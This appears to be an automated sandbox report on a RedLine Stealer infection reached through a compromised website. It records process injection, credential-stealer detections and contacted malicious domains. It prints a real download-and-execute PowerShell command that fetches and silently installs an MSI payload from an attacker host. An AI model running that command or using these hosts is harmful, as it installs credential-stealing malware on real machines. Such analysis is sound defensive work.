Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 54953
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 58984
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 54840
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 40418
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 54731
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 35578
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 54618
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 52108
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Thread delayed: delay time: 54507
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion
barindex
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Memory written: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe base: 400000 value starts with: 4D5A
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe protection: read write
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe protection: read write
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Section loaded: NULL target: C:\Windows\SysWOW64\gpupdate.exe protection: read write
Writes to foreign memory regions
Source: C:\Windows\System32\msiexec.exe Memory written: C:\Users\user\AppData\Local\Inkberry\launchultra.exe base: 3340000
Source: C:\Windows\System32\msiexec.exe Memory written: C:\Users\user\AppData\Local\Inkberry\launchultra.exe base: 318B2D8
Source: C:\Windows\System32\msiexec.exe Memory written: C:\Users\user\AppData\Local\Inkberry\launchultra.exe base: 318C1E8
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iwr https://mfktiaoaolfkfjzjk.com/plu -OutFile C:\Users\Public\7bc.msi; msiexec /i C:\Users\Public\7bc.msi /qn"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe" /i C:\Users\Public\7bc.msi /qn
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Process created: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe C:\Users\user\AppData\Local\Temp\73763\CasPol.exe
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Process created: C:\Windows\SysWOW64\gpupdate.exe C:\Windows\SysWOW64\gpupdate.exe
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process created: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe "C:\Users\user\AppData\Local\Temp\73763\CasPol.exe"
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\msiexec.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Queries volume information: C:\Users\user\AppData\Local\Temp\aedb672e VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Queries volume information: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information
barindex
Yara detected RedLine Stealer
Source: Yara match File source: 0000001A.00000002.2340360326.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2268529514.0000000007724000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2188352785.00000000048C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Credential Stealer
Source: Yara match File source: 0000001A.00000002.2340360326.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2268529514.0000000007724000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2188352785.00000000048C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected RedLine Stealer
Source: Yara match File source: 0000001A.00000002.2340360326.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2268529514.0000000007724000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2188352785.00000000048C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
104.21.48.1
 www.ravinn.com United States
13335 CLOUDFLARENETUS false
151.101.130.133
 klaviyo-app.map.fastly.net United States
54113 FASTLYUS false
142.250.80.110
 unknown United States
15169 GOOGLEUS false
142.250.65.163
 unknown United States
15169 GOOGLEUS false
149.248.78.209
 unknown Canada
36445 COEXTRO-01CA false
184.31.69.3
 unknown United States
20940 AKAMAI-ASN1EU false
104.21.64.1
 ravinn.com United States
13335 CLOUDFLARENETUS false
104.21.69.191
 mfktiaoaolfkfjzjk.com United States
13335 CLOUDFLARENETUS true
104.21.80.1
 pptpooalfkakktl.com United States
13335 CLOUDFLARENETUS false
142.250.80.67
 unknown United States
15169 GOOGLEUS false
142.251.40.110
 unknown United States
15169 GOOGLEUS false
142.250.65.238
 unknown United States
15169 GOOGLEUS false
104.21.3.74
 hitiotppppalfkjfk.com United States
13335 CLOUDFLARENETUS false
172.217.165.132
 www.google.com United States
15169 GOOGLEUS false
35.190.80.1
 a.nel.cloudflare.com United States
15169 GOOGLEUS false
151.101.66.133
 klaviyo-onsite.map.fastly.net United States
54113 FASTLYUS false
142.250.80.104
 unknown United States
15169 GOOGLEUS false
104.21.16.1
 dajajkfifofjfklaiotjapp.com United States
13335 CLOUDFLARENETUS true
1.1.1.1
 unknown Australia
13335 CLOUDFLARENETUS false
142.251.179.84
 unknown United States
15169 GOOGLEUS false
142.250.65.195
 unknown United States
15169 GOOGLEUS false
142.251.40.234
 unknown United States
15169 GOOGLEUS false
142.250.65.227
 unknown United States
15169 GOOGLEUS false
104.21.27.152
 use.fontawesome.com.cdn.cloudflare.net United States
13335 CLOUDFLARENETUS false
142.250.72.110
 unknown United States
15169 GOOGLEUS false

Private

IP
192.168.2.16
127.0.0.1

Contacted Domains

Name IP Active
ravinn.com 104.21.64.1 true
a.nel.cloudflare.com 35.190.80.1 true
klaviyo-app.map.fastly.net 151.101.130.133 true
o-9999.o-msedge.net 13.107.140.254 true
use.fontawesome.com.cdn.cloudflare.net 104.21.27.152 true
www.ravinn.com 104.21.48.1 true
mfktiaoaolfkfjzjk.com 104.21.69.191 true
dajajkfifofjfklaiotjapp.com 104.21.16.1 true
hitiotppppalfkjfk.com 104.21.3.74 true
www.google.com 172.217.165.132 true
arm-9999.arm-msedge.net 4.150.240.254 true
servverifcloud.com 104.21.16.1 true
pptpooalfkakktl.com 104.21.80.1 true
klaviyo-onsite.map.fastly.net 151.101.66.133 true
use.fontawesome.com unknown unknown
static-tracking.klaviyo.com unknown unknown
static.klaviyo.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://www.ravinn.com/wp-content/themes/ravinn/css/main.css?v=1743482759 false
  • Avira URL Cloud: safe
 unknown
https://dajajkfifofjfklaiotjapp.com/main99.js false
  • Avira URL Cloud: safe
 unknown
https://pptpooalfkakktl.com/clou?ts=1743482759 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/js/isotope.pkgd.min.js false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/cdn-cgi/challenge-platform/scripts/jsd/main.js false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2025/03/VEC_logo_RGB.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/js/splide.min.js false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-includes/css/dist/block-library/style.min.css?ver=6.7.2 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/js/splide-extension-auto-scroll.js false
  • Avira URL Cloud: safe
 unknown
https://use.fontawesome.com/releases/v6.4.2/webfonts/fa-brands-400.woff2 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/css/bootstrap.css?v=1743482759 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/ false
  • Avira URL Cloud: safe
 unknown
https://static.klaviyo.com/onsite/js/sharedUtils.db6638454dfe7d02bbcd.js?cb=1 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2024/01/044-R141223.jpg false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/logo1.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2024/01/cropped-favicon-32x32.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/12/strategy.jpg false
  • Avira URL Cloud: safe
 unknown
https://a.nel.cloudflare.com/report/v4?s=AKIYVtpkxi6wFWDOCiDq%2F%2FqncE8m%2BcH0Fp0sSELAW9JxdGfukyNJRV5oZ6iCR4DO9qKy1vupP1UzEs82AX6%2Bupm%2FiMM6MK3415QGvnf4JU%2FrthdXsp8nJSPF12fbdg9vuw%3D%3D false
  • Avira URL Cloud: safe
 unknown
https://use.fontawesome.com/releases/v6.4.2/webfonts/fa-solid-900.woff2 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/logo3.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/veterans.png false
  • Avira URL Cloud: safe
 unknown
https://servverifcloud.com/ true
  • Avira URL Cloud: malware
 unknown
https://static.klaviyo.com/onsite/js/klaviyo.js?company_id=WnvUEf false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2024/01/QS_logo_large-1-e1705392262535.png false
  • Avira URL Cloud: safe
 unknown
https://ravinn.com/ false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2024/01/AITC.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/logo4.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/The-Latest.svg false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/logo2.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2024/01/Data3.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/logo5-e1701428252408.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/js/bootstrap.js?v=1743482759 false
  • Avira URL Cloud: safe
 unknown
https://use.fontawesome.com/releases/v6.4.2/css/all.css?ver=6.4.2 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/The-Team.svg false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/css/all.css false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/js/script.js?v=1743482759 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/ravinnlogo.svg false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/About-Ravinn.svg false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/australia.svg false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/cdn-cgi/challenge-platform/h/b/scripts/jsd/708f7a809116/main.js? false
  • Avira URL Cloud: safe
 unknown
https://static.klaviyo.com/onsite/js/runtime.d6f8c2852d4e7a72345c.js?cb=1 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/cdn-cgi/challenge-platform/h/b/jsd/r/0.13947569542610058:1743546722:XhkVEFcVpPyR6yRfblILygkLVlr83O0qYD2eB3d9Uy8/929bd11d2dfa7ced false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2024/01/logo.png false
  • Avira URL Cloud: safe
 unknown
https://static-tracking.klaviyo.com/onsite/js/fender_analytics.611d7935dc9085329d0a.js?cb=1 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/Incident-Response.jpg false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/Cyber-Threat-Intelligence.jpg false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/style.css?ver=6.7.2 false
  • Avira URL Cloud: safe
 unknown
https://mfktiaoaolfkfjzjk.com/plu true
  • Avira URL Cloud: malware
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/Ravinn-desktop-1600x800-1.mp4 false
  • Avira URL Cloud: safe
 unknown
https://hitiotppppalfkjfk.com/84.fqo false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/css/splide.min.css false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/js/loadmore.js?ver=6.7.2 false
  • Avira URL Cloud: safe
 unknown
https://static-tracking.klaviyo.com/onsite/js/static.4b8f99d71b7685ee4f53.js?cb=1 false
    		high
    https://www.ravinn.com/wp-content/themes/ravinn/css/responsive.css?v=1743482759 false
    • Avira URL Cloud: safe
    		 unknown